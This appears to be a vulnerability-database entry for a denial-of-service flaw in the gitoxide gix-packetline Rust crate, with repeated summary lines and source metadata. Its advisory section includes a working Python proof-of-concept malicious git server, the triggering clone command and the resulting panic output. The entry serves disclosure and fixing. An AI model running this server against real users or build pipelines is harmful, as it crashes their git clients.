gitoxide gix-packetline versions before 0.21.5 contain a panic vulnerability in the TextRef implementation that occurs when processing side-band packet lines with empty payloads. A malicious Git server can send a crafted side-band packet to trigger an index out of bounds panic, aborting the client process during fetch operations without authentication.
gitoxide gix-packetline versions before 0.21.5 contain a panic vulnerability in the TextRef implementation that occurs when processing side-band packet lines with empty payloads. A malicious Git server can send a crafted side-band packet to trigger an index out of bounds panic, aborting the client process during fetch operations without authentication.
gitoxide gix-packetline versions before 0.21.5 contain a panic vulnerability in the TextRef implementation that occurs when processing side-band packet lines with empty payloads. A malicious Git server can send a crafted side-band packet to trigger an index out of bounds panic, aborting the client process during fetch operations without authentication.
### Summary
`gix-packetline` panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the `gix` client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.
### Details
In `gix-packetline/src/lib.rs`, `impl From<&[u8]> for TextRef` strips a trailing newline with `d[d.len() - 1]`:
https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199
When `d` is empty (an empty side-band payload after the band-id byte is removed), `d.len() - 1` underflows `usize` (to `18446744073709551615`, i.e. `0 - 1`) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.
(Related: an unchecked `split_at_mut` in `gix-packetline/src/blocking_io/read.rs` is in the same DoS class and worth hardening in the same pass.)
### PoC
Confirmed against `gix v0.54.0` (crate `gix-packetline 0.21.4`) and current `main`.
1. Run a minimal malicious git server on `127.0.0.1:9418`. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes `0005` + `0x02` - a side-band line of length 5 whose content is the single band-id byte `0x02` with an EMPTY payload:
```python
import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
c.recv(65536)
c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
+pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
buf=b""; sent=False
while True:
d=c.recv(65536)
if not d: return
buf+=d
if b"command=ls-refs" in buf and not sent:
c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
+pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
c.sendall(pkt(b"packfile\n") + b"0005\x02") # band id 2, EMPTY payload
try: c.recv(4096)
except Exception: pass
return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()
```
2. Point the real client at it:
```
RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out
```
Observed:
```
thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101
```
### Impact
A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using `gix` / `gix-packetline` crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.
### Suggested fix
Guard the empty-slice case instead of indexing unconditionally, e.g. `let d = d.strip_suffix(b"\n").unwrap_or(d);`, or check `!d.is_empty()` / `d.last() == Some(&b'\n')` before slicing.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Aug 28, 2026, 10:49:35 AM
dateUpdated: Aug 28, 2026, 3:52:43 PM
3 related source bulletins · separate from aliases
msrc_CVE-2026-82250: gitoxide gix-packetline before 0.21.5 Denial of Service
CVE-2026-82250
openSUSE-SU-2026:11741-1: cargo-c-0.10.25-1.1 on GA media
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-191
Original publisher date fields
published: 2026-08-28T12:16:36.957
lastModified: 2026-08-28T20:20:16.300
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.